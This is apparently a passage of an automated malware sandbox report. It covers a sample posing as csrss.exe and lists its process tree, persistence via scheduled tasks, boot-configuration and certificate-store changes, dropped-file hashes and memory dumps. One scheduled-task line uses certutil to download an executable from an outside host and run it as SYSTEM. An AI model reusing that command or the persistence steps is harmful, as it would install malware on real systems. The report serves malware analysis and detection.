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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220520072112.log C:\Windows\Logs\CBS\CbsPersist_20220520072112.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD57b5159c05ee6872d1ae146584149530d
SHA1eb3177fd6f357ba4c82f35057032b100806980a9
SHA25640e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf
SHA512f3a0fc68e38450a35f1bf35fbf8c292bbb5c4b48f003dd3b3a648f2b2cc5e127e6f4e1699c2d26ae3138e0801a12306a03346306fabf93a0f78331c4c955b624
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeFilesize
3.8MB
MD57b5159c05ee6872d1ae146584149530d
SHA1eb3177fd6f357ba4c82f35057032b100806980a9
SHA25640e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf
SHA512f3a0fc68e38450a35f1bf35fbf8c292bbb5c4b48f003dd3b3a648f2b2cc5e127e6f4e1699c2d26ae3138e0801a12306a03346306fabf93a0f78331c4c955b624
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\Windows\rss\csrss.exeFilesize
3.8MB
MD57b5159c05ee6872d1ae146584149530d
SHA1eb3177fd6f357ba4c82f35057032b100806980a9
SHA25640e70983e6885ea29dd46403272ffbff012456f7f9987f66ef91420c7cdfb9cf
SHA512f3a0fc68e38450a35f1bf35fbf8c292bbb5c4b48f003dd3b3a648f2b2cc5e127e6f4e1699c2d26ae3138e0801a12306a03346306fabf93a0f78331c4c955b624
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memory/640-60-0x0000000000400000-0x0000000000D2B000-memory.dmpFilesize
9.2MB
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memory/640-59-0x0000000002670000-0x0000000002A17000-memory.dmpFilesize
3.7MB
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memory/640-58-0x0000000002670000-0x0000000002A17000-memory.dmpFilesize
3.7MB
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memory/884-54-0x0000000002690000-0x0000000002A37000-memory.dmpFilesize
3.7MB
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memory/884-57-0x0000000000400000-0x0000000000D2B000-memory.dmpFilesize
9.2MB
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memory/884-56-0x0000000002A40000-0x0000000003136000-memory.dmpFilesize
7.0MB
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memory/884-55-0x0000000002690000-0x0000000002A37000-memory.dmpFilesize
3.7MB
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memory/1388-68-0x0000000002520000-0x00000000028C7000-memory.dmpFilesize
3.7MB
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memory/1388-71-0x0000000000400000-0x0000000000D2B000-memory.dmpFilesize
9.2MB
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memory/1388-70-0x00000000028D0000-0x0000000002FC6000-memory.dmpFilesize
7.0MB
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memory/1388-69-0x0000000002520000-0x00000000028C7000-memory.dmpFilesize
3.7MB
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memory/1388-66-0x0000000000000000-mapping.dmp
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memory/1624-61-0x0000000000000000-mapping.dmp
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memory/1740-63-0x000007FEFBF11000-0x000007FEFBF13000-memory.dmpFilesize
8KB
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memory/1740-62-0x0000000000000000-mapping.dmp
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memory/1940-84-0x0000000000000000-mapping.dmp